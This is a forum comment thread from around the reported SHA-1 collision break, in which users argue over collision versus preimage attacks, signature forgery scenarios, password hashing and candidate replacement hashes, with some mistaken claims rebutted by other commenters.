
Re:Broken, but not for everything...

[Aeiri]

(unless the original message is shorter than the output of the hash and everyone who hashes it later absolutely knows the length of the original message).

This is what I'm thinking, we should have something that varies in length, but not to the identical ratio every time that other 2 way algorithms use.

What I'm saying is something like, len(hash(x))>len(x), but len(x) may possibly not be greater than len(x+y)...

If we use the data within that the hash is using to determine some random number, numbercreated+len(x) == len(hash(x)).

For example:
aaa - 2349184910xcjzxkvjvaioweiru
bbb - 9xzfjka
ccc - asd99
ddddddd - a201flxkckblxlcbkxclbks
ffffffff - akskdkk2k1lm

Using something like that might possibly create a more secure hash algorithm. Sure, it would require MORE data to store, but it would be safer to store than plaintext.

Re:Broken, but not for everything...

[Spy Hunter]

That comment is wrong. 2^80 - 2^69 != 2^11. You can't subtract exponents like that. 2^80 - 2^69 is actually larger than 2^79. So they actually reduced the number of operations necessary to crack the hash by more than 2^79 (from the original 2^80)!

Re:Broken, but not for everything...

[Saint Stephen]

Famous last words...

Re:Broken, but not for everything...

[Aeiri]

I just realized something about this idea (trigger happy mouse finger), for smaller hashes, you would know the maximum length for the original string.

Instead, for strings x with len(x)
For strings with len(x) > ~70-90, this would be almost pointless though, however, for passwords this could work quite nicely.

This idea adds another layer of calculation on to this, the extra characters involved, and the amount of extra characters would create a harder to break algorithm.

Having a "key" dynamic to each login attempt (say something like 'dd if=/dev/urandom bs=50 count=1' each time a user logs in, and replacing that in some file and the hash in /etc/shadow each time), each user account, and each processor even would also add another layer of security. That way, not only would each password have to be broken, but it would have to be broken FOR said computer, said user, and said login.

This would limit an attacker's brute force to a specific account on a computer and an ~1 day period of time.

Re:Broken, but not for everything...

[Aeiri]

It's 1 in 1, SHA-1 is a fake algorithm, if you look at the source code it only contains one line:

void main(){ printf("0e3b4b06a6c6924bf2f62055bd78240815ee6c8a") ; }

Re:Broken, but not for everything...

[Anonymous Coward]

They've already been able to modify EXEs on windows so that they match the same MD5 - a .zip file is no different.

And you're assuming that people check all that stuff. Usually people just check the hash, not the filesize, and certainly not the rest of the stuff you've listed.

There aren't many posts about what we should move to now in this story :(

Is it true that SHA-256 is where we should go?

Re:Broken, but not for everything...

[Anonymous Coward]

Try 2^80 / 2^69 = 2^(80-69) = 2^11

Re:Broken, but not for everything...

[Anonymous Coward]

hmm...not completely
It is much easier to modify certain parts of an exe (there are areas where you can basically store anything in) than a zip. Zip has its own internal hashes for everypart of the file that have to match.

Re:Broken, but not for everything...

[Anonymous Coward]

I think, for passwords, brute force may be be just as fast (unless I'm missing something, which could easily be the case ;-).
If your passwords are 8 characters (8 bit) long then there are no more than 2**64 possible passwords. Doesn't this imply that brute forcing passwords is actually more efficient than finding a collision with the new algorithm?

Re:Broken, but not for everything...

[CAlworth1]

They are not subtracting - they are dividing. It it was a simple subtraction, that really wouldn't mean anything at this scale, dividing means that they can skip whole chunks of whatever algorithm that was used before, the new one is faster by 2^11.

Re:Broken, but not for everything...

[Xenophon Fenderson,]

One-time pads aren't impractical. They are merely expensive.

Re:Broken, but not for everything...

[Spy Hunter]

I know what they did, but they *said* "2^11 less operations", not "2^11 times fewer operations". There's a big difference, and people could be misled.

End of the world

[Anonymous Coward]

It's the end of the world as we know it...I can already feel the foundations of civilisation crumbling beneath me.

I heard...

[game kid]

there's rumors on the uh, Internets that we're going to get owned with this SHA1 thingy. (Forgive me, I'm from the Bronx.)

Re:I heard...

[Anonymous Coward]

i loaded the malicious RPM version of emacs. but i found it's Psychohelp to be working just fine. and why do you say that? is it because you are malicious ?

Re:And they scoffed at my continued reliance on MD

[Anonymous Coward]

Doest not affect HMAC. So it does not affect IPSEC and WEP.

RTFA.

So what's the big deal for the rest of us?

[beaststwo]

I've been reading about hash collisions for the last few years and haven't figured out why this is a crisis problem.

I'm not a cryptographer, just a nerdy engineer, but let me explain my rationale: a hash algorithm takes an arbitrary message and generates a fixed-length signature that has a high probability (10**50 or better for most modern algorithms) of being the original.

Let's assume that your hash algorithm generates a 128-bit hash. Anyone who knows anything about probability can see that is the original message is greater than 128 bits, there MUST be more than one message that will generate the same hash. For long messages, there may be thousands or millions of messages out of a filed of 10**50 (or better) that have the same hash, although many of them will be meaningless garbage.

So SHA-1 has been broken by a group of cryptographers/mathematicians. Does this really mean that they can generate can alter any message in a way that will generate the same hash as the original, thus fooling the math that we use to validate content? No Way! I read Bruce Scheier's Cryptogram every month and he often makes the same argument.

So yes, this means that from a long-term systems security standpoint, we should all move to stronger hashes. Does it mean that SHA-1-based transactions are inherently secure right now?

I think not!

Re:So what's the big deal for the rest of us?

[null etc.]

So yes, this means that from a long-term systems security standpoint, we should all move to stronger hashes.

Does anyone know offhand: what is the probability of finding a collision for two hashes - the first a hash of the original message, and the second a hash of the original message with the first byte + 1?

Re:So what's the big deal for the rest of us?

[iabervon]

It is still probably difficult (hard to say without looking at the paper) for someone to find a different document with the same hash as a document you create, but it's now not all that hard to find a pair of documents with the same hash. Someone could give you a document to sign, and get your signature on a different document. Also, IIRC for previous work by this group, the attack applies to chosen pairs of documents with sufficient "random" padding; you can search for a padding for each to generate a hash collision.

Essentially, don't sign anything that someone else has given you without changing it in some way, or your signature might also apply to some other document they have chosen.

Re:So what's the big deal for the rest of us?

[Pseudonym]

Essentially, don't sign anything that someone else has given you without changing it in some way, or your signature might also apply to some other document they have chosen.

Right, this is important.

Decent digital signature protocols (as opposed to just the algorithms) require that you hash more than just the document. For example, you might pick a small amount of random data ("salt"), add that to the message, hash the combination and sign that. You then put the salt in the signature packet so that your signature can be verified.

OpenPGP, for example, requires that certain signature subpackets be part of the hash, such as the signature creation time. It probably should require random salt.

Re:So what's the big deal for the rest of us?

[RovingSlug]

For long messages, there may be thousands or millions of messages out of a filed of 10**50 (or better) that have the same hash

Hehe, that's cute, "thousands or millions". I'm no cryptographer, either (so maybe one can chime in), but, err, there's a whole lot more than a million messages that have the same hash.

For the sake of argument, assume the hash function uniformly distributes messages over the hash space. (Because, hell, each message has to map to something.)

For all 138-bit (17 byte) messages, each 128-bit hash corresponds to 2**8 == 256 messages.

For all 512-bit (64 byte) messages, each 128-bit hash corresponds to 2**384 > 10**115 messages. Note that 10**115 is a smidge bigger than thousands (10**6) or millions (10**9) of messages, and a 64-byte message isn't particularly long.

For all 8192-bit (1kbyte) messages, each 128-bit hash corresponds to 2**8064 > 10**2427 messages. ... ad nauseum ...

I think there's a few hash collisions out there. A secure hash makes it hard to create a message that produces a particular hash. Even going the other direction -- producing/analyzing all messages that generate certain hash -- is a wee bit insane. Like I said, I don't know anything about security, I just think it's fun to think about the scale of the numbers.

Re:So what's the big deal for the rest of us?

[Chmarr]

In that particular case, probably zero. Most, if not all hashing algorithms are generally geared to guarantee that a simple, single byte change or addition to the file will not result in the same hash.

Even CRC32 works this way, too.

Re:So what's the big deal for the rest of us?

[theantix]

Here's a practical example: the RIAA/MPAA could write an application that would generate a valid hash for random data, corrupting bittorrent downloads. Bittorrent uses SHA-1 -- if you don't believe me check the source yourself.

Re:So what's the big deal for the rest of us?

[Aeiri]

Hehe, that's cute, "thousands or millions". I'm no cryptographer, either (so maybe one can chime in), but, err, there's a whole lot more than a million messages that have the same hash.

There are infinite collisions possible. Since the input can be anything, such as "avdd" repeated 10 billion times, it still needs a 32/50/whateverthehashuses character output.

Re:So what's the big deal for the rest of us?

[Anonymous Coward]

Yeah, I was just showing the number of collisions for a given fixed message size.

Re:So what's the big deal for the rest of us?

[Kiryat Malachi]

Here's the worry.

Let's say someone trusts a digital signature, signed with SHA-1, to the point of allowing money to be predicated on the validity of this signature. If the message is signed and valid, the payer pays the payee $X dollars, where X is some very large amount.

Message #1 is generated and sent. It validates.

The money is paid. At which point the payee produces a second message which hashes the same as the first but claims to be turning down the deal, or modifying the terms of the deal s.t. they don't have to do anything to earn that money, and they claim that's what was actually sent.

This is a problem, since the break apparently allows the construction of two (relatively) arbitrary message sequences that hash to the same value, which is an easier and much different problem from constructing an arbitrary message that hashes the same as a pre-existing message.

Re:So what's the big deal for the rest of us?

[boots@work]

No, wrong. This weakness does not allow generation of text with a chosen hash. So the MPAA cannot insert corrupt blocks with the right SHA-1 into someone else's torrent. All they can do is generate their own corrupt torrents, but they (can) do that already.

Re:So what's the big deal for the rest of us?

[da_matta]

I'm sorry to say but it does matter. The idea of the birthday attack ( http://en.wikipedia.org/wiki/Birthday_attack) is that you have a legit message (m) and and fraud message (f) and you change both of them without changing the meaning until you find (m') and (f') such that SHA(m')=SHA(f'). For axample with XML-messages it's trivial to create all the needed same meening (m') and (f') by adding white spaces to pull this off.

However, it doesn't mean that every system using SHA-1 is vulnerable, but depends on the situation! And also, 2^69 is still "quite big" and not exactly real time AT THE MOMENT. But safe bet is that we'll be seeing transitions from SHA-1. And before anybody asks SHA-256,-384 and -512 are totally different algorithms that were designed under public scrutiny and probably not affected..

Re:So what's the big deal for the rest of us?

[beaststwo]

I agree with you, but even a birthday attack still only results in a reduction of the probability that using SHA-1 to validate any arbitrary message will might yield a false result. How much of a reduction in probability? Proabably not enough to break trust in the near future, considering that it was already at calculable risk by using fixed-length hashes.

The question I have with newer hashes is the same. How much does moving to SHA-512 improve the probability of a not having false result and is the improvement meaningful? They will never be perfect, for a fixed length hash taken against a field of infinite input messages must mean that there is an infinite number of messages that can generate any particular hash; fortunately, almost all of the messages that can generate the same hash will be nonsense to any particular application.

My big concern is that I've seen so many people panicking over this, thinking a sure thing is now broken. Few people realize that these hashes can never provide absolute certainty, just a level of confidence for content authenticity.

Re:So what's the big deal for the rest of us?

[Anonymous Coward]

The biggest deal is that when theystart crumbling they usually go in a short time all the way. AND you can't know what some blackhats who are NOT releasing their findings know. In other words, the trust is and should be gone for good now.

Re:So what's the big deal for the rest of us?

[Anonymous Coward]

Decent digital signature protocols (as opposed to just the algorithms) require that you hash more than just the document. For example, you might pick a small amount of random data ("salt"), add that to the message, hash the combination and sign that. You then put the salt in the signature packet so that your signature can be verified.

Hopefully you meant prepend instead of add. Anything appended to the end of a trojan message will result in the same hash regardless of which random padding is chosen for the trojan message.

Re:So what's the big deal for the rest of us?

[Pseudonym]

Hopefully you meant prepend instead of add.

"Postpend" in the case of OpenPGP, but yes.

My Research team broke RSA!

[kevlar]

The only problem is that I can't show you the paper or demonstrate it for you. OH yeah, I also have a lottery drawing app that'll give you the powerball numbers for Friday...

Re:My Research team broke RSA!

[elmegil]

And it's elegant. But it won't fit in the margin of a post on slashdot.

Re:My Research team broke RSA!

[magefile]

Nice reference. Mod parent up.

Re:My Research team broke RSA!

[Anonymous Coward]

No, cockhead

Re:My Research team broke RSA!

[Anonymous Coward]

No, cockhead

Very elegant counter-argument, AC.

BTW, that's sort of how I felt from TFA---so someone broke it, but nothing that shows how it was done (or even proves that it was done at all)?

Also, BTW, I'm still a skeptic whether as to F. really proved that theorem himself (I think it's possible for him to think that he did, when there was a flaw/mistake (er, drink and deriving?) in it).

Re:Hey

[Anonymous Coward]

oops I accidentally highlighted 'fucking' from your post instead and searched for that

I am outraged! Does this disgusting thing called 'fucking' really happen ? I must know.

Meanwhile in Redmond

[Profane MuthaFucka]

A marketing guy has a bright idea:

"Hey Bob, I was in the airport the other day and these two geeks were talking all about SHA-1. Said they read about it on Slashdot, and a Chinese research team was spending an awful lot of time working on it. We should definitely put this SHA-1, whatever it is, into the next release of our products. Send a memo to the development managers, and call our guy over at Gartner."

Impact on Digital Certificates & Issuer Liabil

[Anonymous Coward]

Is SHA-1 used in x509 digital certificates, and if so does this mean that people can forge digital certificates ?

If someone can do this, then what are the liability concerns for certificate issuers (or even their customers) ?

Re:And they scoffed at my continued reliance on MD

[Anonymous Coward]

md5 has already been broken.

So the concern is.....

[Anonymous Coward]

From what I understand, then, the concern is that attackers can craft a message that will hash to the same value, and then attempt to claim that the crafted message was signed by the signer in question, but in fact it was not.

Could someone please explain scenarios where a flaw, such as the one illustrated in this article, could be used to actually craft an attack. What would be a realistic scenario where one would need to be concerned with this flaw?

Re:So the concern is.....

[lucifer_666]

Hi, this is your boss.

You can tell it's me as you can see this message has been digitally signed.

You're fired.

or

This is John from your bank. You can tell it's me because this message is digitally signed, and we both know that it must be from me.

What was your credit card number and pin again?

Re:So the concern is.....

[gripperzipper]

I guess my question is: Would the attacker be able to craft a message that could REASONABLLY pass as a legitimate message? It seems that so much additional "junk" padding would need to be added to the message so that it would hash to the same value. Are there not ways to detect these seemingly obvious alterations to the message (e.g. including the message length as part of the message) that would make an actual attack of this sort significantly harder.

Re:So the concern is.....

[v1]

If SHA1 is used to hash login data being sent over insecure lines, (ATM for instance?) and SHA1 has been broken, and someone taps into that line, they could concievably glean the cleartext (pre-salted/hashed) password and thus be able to masquerade as one of the participants, or even act as a man-in-the-middle.

Re:So the concern is.....

[4Lancer.net]

Shouldn't be giving your banker that information anyway, even if you're 500% sure it's really him, in the flesh.

Re:So the concern is.....

[lucifer_666]

So, when you go to the bank to make a deposit, what do you write on your deposit slip?

Your account number!

Think of a situation where the banker, or stock broker, or accountant has provided his client with a digital signature, and said to the client, if you get a signed email from me, take it as real.

Re:So the concern is.....

[4Lancer.net]

Yes, but you didn't say account number, now did you? No. You said credit card number.

Re:So the concern is.....

[Tony Hoyle]

That's not what's been broken. It's impossible to get the cleartext from a hash - that's why it's called one way (there are an infinite number of cleartexts which can generate that hash, so in theory you can get it, but you've got a 1/infinity probability of picking the right one...)

SHA1 is not 'broken' in any real sense. Someone claims to have reduced the collission rate to 1 in 2**69. That's still bloody small. It'd take your PC a couple of thousand years to check the hashes to generate a collission.

Of course if you had a big enough cluster you could get that down to a year or two I guess.

Man in the middle attacks are *not* what this is about.

Re:So the concern is.....

[AlexCV]

No. SHA1 can still not be reversed, they found a COLLISION. That is, with 2^69 tries, they can come up with a value that will have the same SHA-1 hash as the password.

For passwords, this is nearly meaningless.

For digital signatures, it's a different thing.

Re:So the concern is.....

[lucifer_666]

Ok, smartarse, what if you're depositing into your credit card account over the counter at the bank?

Your credit card number.

There, you pedantic sunuffagun. ;)

Re:So the concern is.....

[Theatetus]

they could concievably glean the cleartext

No. Hashes like SHA-1 are lossy; there is less information in the hash than in the plaintext. Lost information like that cannot be recovered unless just about everything we know from information theory (and thermodynamics) is wrong.

Re:So the concern is.....

[Drantin]

If that was what they actually came up with, it would be just as bad for passwords as for digital signatures... You don't need the orginal password to log in, just another that generates the same hash... at least on my old (1996) AWARD BIOS based computer... (talking about a bios password, not windows or linux, or insert_other_os) tried one of those bios password rertrievers and it gave a completely different password...but it still worked...

However, the method these people came up with requires the modifying of both chunks of data to get two that have the same hash... Not nearly so useful as you thought...

While her husband says...

[game kid]

Eshcuse me shonny, d'you know where I can find shome booty^H^H^H^H^Hshource code?

Unfortunately the SHA series seems to be suspect

[jd]

The Hashing Function Lounge lists other problems with the SHA functions:

• (R04) V. Rijmen, "Update on SHA-1", accepted for CT-RSA'2005
  
• P. Hawkes, M. Paddon, G. G. Rose, "On Corrective Patterns for the SHA-2 Family", Cryptology ePrint Archive, Report 2004/207
  

If this definite break is confirmed, I think we will need to conclude that the entire family is suspect for any genuinely important purpose.

There are a bunch of hashing algorithms on the Hashing Function Lounge that are listed as having no known attacks. At present, the most widespread is Whirlpool. I think it likely that one of these will replace SHA as the hashing function of choice in major cryptographic areas.

What a hash is/does

[cbr2702]

No, that would be one application of a hash (and not a very good one, because someone wanting to mess with it enroute could just re-hash the doctored version and pass on the new hash. What you discribe could be a way to check for accidental errors, though.). A hash is a function that given data gives a smaller amount of data. This smaller amount of data is then also called the hash of the origonal data. A good hash function has the property that if you know the hash for a file, you shouldn't be able to come up with another file that has the same hash without a prohibitive amount of work. A hash function is broken if this property stops holding.

Re:What a hash is/does

[LarsG]

A good hash function has the property that if you know the hash for a file, you shouldn't be able to come up with another file that has the same hash without a prohibitive amount of work. A hash function is broken if this property stops holding.

Good explanation. One nitpick, though - that is true for cryptographic hashes. There are other hash functions that are used for other purposes, like error detection (crc32) / correction, hash look-up tables, string search, audio identification, etc.

See Wikipedia

Re:And they scoffed at my continued reliance on MD

[elmegil]

It's not like MD5 is Any Better

Re:Broken or not?

[Southpaw018]

From someone who is not at all involved with encryption: who's Bruce Schneir?

Re:And they scoffed at my continued reliance on MD

[js7a]

Finding a single collision after a huge search isn't the same as being able to generate a collision on demand, which is what the SHA-1 breakage apparently purports to be.

since...

[Slash.er FX]

xbox uses sha-1, does it mean u won't need modchips?

I Can See Bruce Now....

[Alan Hicks]

Bruce sits at his desk, reading over the encrypted e-mail sent to him about breaking SHA-1, when a loud scream echoes from his office

I JUST SENT OUT MY NEWSLETTER THIS MORNING!

Re:I Can See Bruce Now....

[Anonymous Coward]

He did talk about SHA-1 in his newsletter.. he said "there are rumours of a break" and then he said it's time to move away from MD5 and SHA-1.

So I don't think this was a HUGE surprise for him, and of course he can always send out an "extra".

Re:I Can See Bruce Now....

[chochos]

He did? I can't find any mention of SHA-1 or MD5 in today's newsletter...

Wait a sec...

[tsanth]

Yeah, I did RTFA, and the first comment echoes my thoughts: what about the extended-round variations on SHA-1, with the 256, 384, etc.-large rounds? Does the attack on SHA-1 also apply to these variations?

Not a problem (yet)

[Spy Hunter]

For password hashes this attack shouldn't be a problem, if it is as described in the article. The attack does only one thing: allows an attacker to generate two streams of data which hash to the same value. This is a problem for digital signatures, because somebody can sign one data stream, then distribute another with the same signature. So the signature doesn't guarantee the data has not been modified. However, this attack does not allow an attacker to magically deduce your password from its hash, or even generate another password that would hash to the same value as yours. So you don't need to immediately jump up and replace SHA-1 wherever you use it.

OTOH, this attack indicates that other types of attacks may be found sooner than was previously thought. So it is still a good idea to move away from SHA-1 in the medium to long term. Though it's not entirely clear what you should move to. And it is not certain that more attacks will be found soon.

Re:Not a problem (yet)

[aichpvee]

Didn't we all just learn from microsoft that passwords are insecure and should be instead replaced with more reliable, yet equally easy to remember pages/chapters from novels?

Re:Not a problem (yet)

[Anonymous Coward]

"OTOH, this attack indicates that other types of attacks may be found sooner than was previously thought."

Thought by who? Just about everyone I know of has been betting that SHA-1 would be broken sometime this year. This was entirely predictable, and isn't going to change anything about what they think about attacks on SHA-1.

Re:Not a problem (yet)

[Knightmare]

You have a bit of a logic flaw in your comment.

Snippet 1:
The attack does only one thing: allows an attacker to generate two streams of data which hash to the same value
Summary: It lets you make up bogus data with an identical hash

Snippet 2:
this attack does not allow an attacker to ... generate another password that would hash to the same value as yours.
Summary: You can't come up with data that will hash to the same value

Those two statements don't go together either it does let you create identical hashes for different data or it doesn't.

If your password

foobizbang

hashes to <insert long string here> and I find a collision using this attack then I can enter my collision

a@#K$jjfksl

at the login prompt and gain entry as the hash of my password will match the stored hash of your real password.

Re:Not a problem (yet)

[Anonymous Coward]

But most sites/programs limit password length, which cuts down on the potential number of collisions. If the password length is limited to 16 characters, there are only so many hashes one can make.

Re:Not a problem (yet)

[gnuman99]

Of course you can make

SHA1(data1) == SHA2(data2) where data1!=data2

because SHA1 maps from a large space to 160bits. There WILL be collisions for any maping like that. The question is can you make,

SHA1(data1)==SHA2(data2) && data1.length==data2.length) ?

Can you make the length of the hashed data to be equal?

If you cannot, then most of the signed hashes cannot be compromised anyway.

Re:Not a problem (yet)

[daniel de graaf]

See the birthday paradox.

With this technique, you can create 2 files, by modifying both of them, that have the same hash. That does not mean that you can create a file with a given hash.

Re:Not a problem (yet)

[grennis]

Not quite. Sorry but you are wrong and the GP is correct. There is a big difference between generating 2 strings that collide, and being handed a hash and asked to find a collision.

Re:Not a problem (yet)

[frakir]

If your password foobizbang hashes to and I find a collision using this attack then I can enter my collision a@#K$jjfksl at the login prompt and gain entry as the hash of my password will match the stored hash of your real password.

from the article it is not clear whether you can retrieve a collision from only a hash or do you need original data (say, my real password) to produce a collision.

I guess we'll have to wait for original paper to find out.

Re:Not a problem (yet)

[Anonymous Coward]

No, you are confused.

The attack lets me generate two strings that have the same SHA-1. But I can't choose _either_ string, nor can I choose what their SHA-1 will be.

To defeat password authentication, you have to be able to take a given SHA-1, and generate a string that has that SHA-1.

The latter is a much harder problem; even in the ideal case, where you have a perfect, unbreakable 160-bit hash, the first problem takes ~2^80 operations, while the latter takes ~2^160. The latter is just a much harder problem.

Re:Not a problem (yet)

[Anonymous Coward]

Those two statements don't go together either it does let you create identical hashes for different data or it doesn't.

You're missing an important subtlety:

This attack makes it computationally feasible to carefully craft two data streams that hash the same. This (theoretically) means I can make two contracts that hash the same, and digitally sign them both. I'll make you agree on one, and then I'll swap it for the other. When you complain, I can successfully repudiate.

This attack does not do much for making it easier to reproduce a hash for unknown plain text.

(Of course, I have not read the paper and am only speculating, but I believe that's what the parent to your post meant.)

Re:Not a problem (yet)

[Shanep]

You have a bit of a logic flaw in your comment.

Maybe you don't realise where he is coming from.

With a digital signature, you can easily have knowledge of the signed message (input to message digest function) and thus change the message while retaining the signature.

With a hashed password, you don't have access to the password (input to message digest function).

The hashed password would require figuring out the password so as to allow changing it to make the same hash. This requires going the wrong way against this one way hash algorithm. If you were able to do this, then you would not bother generating an equivalent password, because you would know the original.

I think the point is, that the one way nature of SHA-1 might still be strong. Meaning digital signatures are weak, but hashed passwords are not.

There is no logic flaw in his comment.

Re:Not a problem (yet)

[Spy Hunter]

There is no logic flaw. Your summary of the first attack is not correct. The attack does not allow you to produce data that has a specified hash value. It allows you to find two sets of data with the same hash, but you don't control the actual hash value. Think of it this way: the process of attaking the hash involves two sets of data; you perform the attack by modifying *both* data sets until their hashes are the same. Now you have two different data sets with the same hash, but the actual hash value is random and not controlled by you.

Re:Not a problem (yet)

[Spy Hunter]

Thought by much of the Slashdot community, as general reaction to this article shows. Until today, the prevailing Slashdot wisdom was that MD5 was weak and broken and SHA-1 was strong. Now we know that's not the case. Maybe this is no surprise to your circle of cryptography guru friends, but nobody told me until now.

Re:Not a problem (yet)

[BierGuzzl]

What you are describing is a pre-image attack. In a pre-image attack, if you know a given hash, you can create data that has the same hash. On the other hand, with a collision attack, you can create two messages that have the same hash value. Big difference.

Re:Not a problem (yet)

[gnuman99]

What about what OpenBSD is doing? Have multiple hashes per file (MD5, SHA1, etc..) for a given signature.

Re:Not a problem (yet)

[Spy Hunter]

Sounds prudent to me, as long as you have the CPU time to spare.

Re:Not a problem (yet)

[interiot]

Adding data2.length to the check is basically just increasing the number of bits used for the hash (and thus reducing the number of chunks of data that hash to the same value, and increasing the amount of time required to find a collision). However, length turns out to be a very poor thing to hash on (non-linearity is prized in hash functions, and you can't much more linear than the length function). If you're going to set aside more space for a hash value, it's better to use a longer hash or multiple hashes together.

Re:Not a problem (yet)

[yppiz]

Even adding the length restriction, you are still mapping from a large space (the space of all binary strings of length n > 160) to a small space (the space of all binary strings of length 160), so there will still be collisions.

--Pat / zippy@cs.brandeis.edu

Re:Not a problem (yet)

[hal9000(jr)]

this attack does not allow an attacker to magically deduce your password from its hash, or even generate another password that would hash to the same value as yours. So you don't need to immediately jump up and replace SHA-1 wherever you use it

But if you can find any other password string that will compute to the same hash value, it doesn't matter if that string is the real password or not. You can still use the strig to authenticate and you can reuse that password with other systems that use the same mechanism.

That is the problwm with collisions.

Re:Not a problem (yet)

[Anonymous Coward]

There is, however, the potential to do some nasty things.

Using this method, as with the MD5 attack, you could produce a "doppelganger pair" for any given file. For example, you could produce two executable programs, which differ in a few bits but which hash to the same. Now, that program can easily check to see which version of itself has been loaded, and change its behavior accordingly. Thus, an attacker can distribute a perfectly secure bit of software, but then switch it for another that obliterates the user's firewall, installs ZombiePlus 5.0, and eats babies, and any system that relied on SHA-1 would not know the difference.

Re:Not a problem (yet)

[Theatetus]

This (theoretically) means I can make two contracts that hash the same, and digitally sign them both.

True, though any attack like that is very very theoretical. The chances that two colliding plaintexts would both be intelligible seems vanishingly small; if I drew up a legal contract and then brute-forced a file with the same hash, it would almost certainly just be gibberish 0s and 1s. The only feasible attack I can think of would be to replace important files / messages / etc. with gibberish without attracting the attention of a hash-based intrusion detector.

This is, however, a good time to remember 2 important rules of signing data:

1. Don't sign arbitrary files from unknown parties
2. Whenever possible make cosmetic changes to any file before signing it

Those guidelines would pretty much foil attacks based on these collisions.

Re:Not a problem (yet)

[cduffy]

There WILL be collisions for any maping like that.

Sure, they exist -- but finding them isn't supposed to be any easier than raw brute-force.

Re:Not a problem (yet)

[Asmotheque]

Finding a collision is just as hard as finding the password itself, if not harder. At least the actual password makes sense to some human.

Re:Not a problem (yet)

[Spy der Mann]

This is a problem for digital signatures, because somebody can sign one data stream, then distribute another with the same signature. So the signature doesn't guarantee the data has not been modified.

Why not use SHA1 _AND_ MD5?

Or how about SHA1 and *seeded* SHA1?

Like SHA1("insert random string here"+text)

(where + is the concat operator)

Or maybe even better:

Sha1(md5(original text)+original text). Or...
sha1(sha1(original text)+md5(original text)+original text).

How about that, eh?

the probabilities of obtaining the same 320-bit string are one in (quoting Carl Sagan): "billions and billions". ;-)

Re:Not a problem (yet)

[c0p0n]

.... This is a problem for digital signatures, because somebody can sign one data stream, then distribute another with the same signature...

True, man. Don't forget that in some circumstances the faked data stream must also have any sense. I mean, imagine that you try to fake a Solaris distribution, you should fake it to do something. You should try to fake Solaris to do bad things for you while it maintains the same hash as the original disc... dunno a thing about probs and stats but I think that the probability to do something like that could be astronomically low.

Re:Not a problem (yet)

[tod_miller]

If you do not know the string you are starting from THEN IT IS not better than brute force.

I think as long as the HASHED value itself isn't useful in reducing the number of attacks, then we are ok.

They are doing some funny poking around the edges.

Take a large complex document, and make minor changes sequentially through the document.

The number of changes would equal the hash space, therefore the number of minor changes they would make would be a brute force of the hash space, so they would create every possible hash (this was the aim, they didn't get this far as far as I can tell, this is very CPU intensive)

But what they did do, was by changing a couple of bits here and there, was to find a hit.

Now, when I leant about memory paging and hashing techniques WE TALKED about collisions, and they are very real and normal things.

Until they stop quietly circulating things, and over hyped blog headlines stop getting /., we will not know WHAT their latest news means.

the key is, if the hash doesn't help, the SHA1 was secure as it always was, which is not secure at all (because it is trivial to crack SHA1) but computationally it is not viable.

to reitterate, SHA1 was never ever secure, it is trivial to crack, but computationally expensive (for now)

Re:Not a problem (yet)

[tigersha]

If you hash all the files then yes. If you hash only the CD as a whole you could replace all the critical binaries with a rootkit and add 1 single file to the CD (which may or not be readable or installed) to change the hash or the entire CD to match that of the original. Ora few files, but i single one would be best.

You could hide this data by adding it as garbage at the end of a binary file which most readers would ignore, such as a PNG or ZIP file.

Re:Not a problem (yet)

[d1v1d3byz3r0]

According to TFA, it would now take only 2^69 for the former and 2^138 for the latter. Nevertheless, it's still an astronomical amount of computations.

Re:Not a problem (yet)

[Paul Crowley]

Trivially, exactly the same counting argument you used to convince yourself that the first sort of collision is inevitable serves to prove that the second sort is also inevitable.

We know such collisions exist; the question is, can we find any of them?

As it happens, attempts to find the first sort of collision nearly always focus on finding the second sort anyway, so the answer seems to be that we *can* find collisions that match on the length.

Finally, I can't imagine why you think that the second sort is vastly more useful than the first. If you can generate the first sort, then you can make a signature that was made for one document apply to another. That's enough to consider most signature schemes based on SHA-1 broken.

Re:Not a problem (yet)

[R.Caley]

The chances that two colliding plaintexts would both be intelligible seems vanishingly small;

That depends on the format. I bet many suis would write their contracts in Word or at best PDF, and expect you to do the same.

Such formats have a lot of space for hidden information which has no effect on the human readable result. That should make it easier to create a human-sane pair of contracts.

So, that adds a third rule:

3. All signed texts should be plain ascii (or local equivalent)

Re:Not a problem (yet)

[cduffy]

One attribute of competant one-way hashes (and cryptosystems, for that matter) is that they make any trivial approaches which may exist in theory entirely useless in practice. The brute-force attack you suggest is onesuch -- trivial in theory, completely unworkable in practice. Every cryptographic hash (and, if you extend your suggestion to its logical conclusion of guessing keys, every key-based cryptosystem barring OTP) is vulnerable to the "attack" you suggest -- except, in the case of a good algorithm, executing that attack will take longer than the lifetime of the universe.

If you consider the existance of an impractical brute force attack evidence of insecurity, then, they're all insecure. This definition of "security" you propose is, therefore, useless for practical work -- it excludes broad regions of potential solutions which, in practice, have the effect of being unassailable. Further, it ignores the limits that information theory places on the amount of computation which can physically be performed within the bounds of our universe. (No, I'm not particularly fluent on the subject, being more closely involved with practice than theory myself).

In short: Please stop dilluting the s/n raitio here on /.; it's bad enough as it is.

Re:Not a problem (yet)

[mindstrm]

Yes, there will always be collisions, a great many collisions, in any hashing scheme. That's not the issue.

The issue is that you are not supposed to be able to deterministically generate collisions whenever you want. Previously, the only way to find a collision was by brute-force.

If someone finds a way to generate two streams of data that generate to the same value, that's a problem.

Re:Not a problem (yet)

[IIEFreeMan]

That's the theory, if SHA-1 was broken, this might not be true anymore.

Re:Not a problem (yet)

[chialea]

Hey, when the MD5 crack came out after crypto last year, I pointed out that this was likely going to happen soon, as Eli Biham and Rafi Chen got some rather nice results from a reduced-round version.

See? Sometimes reading /. comments can be educational. :)

Lea

Re:Not a problem (yet)

[Rasta Prefect]

The hashed password would require figuring out the password so as to allow changing it to make the same hash. This requires going the wrong way against this one way hash algorithm. If you were able to do this, then you would not bother generating an equivalent password, because you would know the original.

nitpick: You can't get the original back out. Data is lost in the hash function - it's not compression. You can determine a set of possibilities for the original, but never what the actual original was.

Re:Not a problem (yet)

[cpeikert]

Can you make the length of the hashed data to be equal?

If the attack is anything like the team's prior MD5 attack, then yes -- in the collision they generated, both messages were the same length.

Also, it's worth noting that the message length is appended as part of the "padding" when hashing. So actually, looking for colliding messages of the same length is, in a sense, the "easier" way to go about it.

Summary: checking message length adds nothing to the security.

Re:Not a problem (yet)

[melandy]

Sounds prudent to me, as long as you have the CPU time to spare.

CPU time on legit transactions is not really an issue. Hashes are designed to be computationally expensive to crack, and not computationally expensive to use normally.

So for legit use you have the following (assuming use of MD5 and SHA1):

Time to compute ONE hash via MD5
+ Time to compute ONE hash via SHA1
= Ain't much

Compared to what a brute force would have to do:

Time to compute MD5 hashes until you find a match
+ Time to compute SHA1 hashes based on MD5 matches until you find a match
= A whole lot

... or (depending on which is less expensive) ...

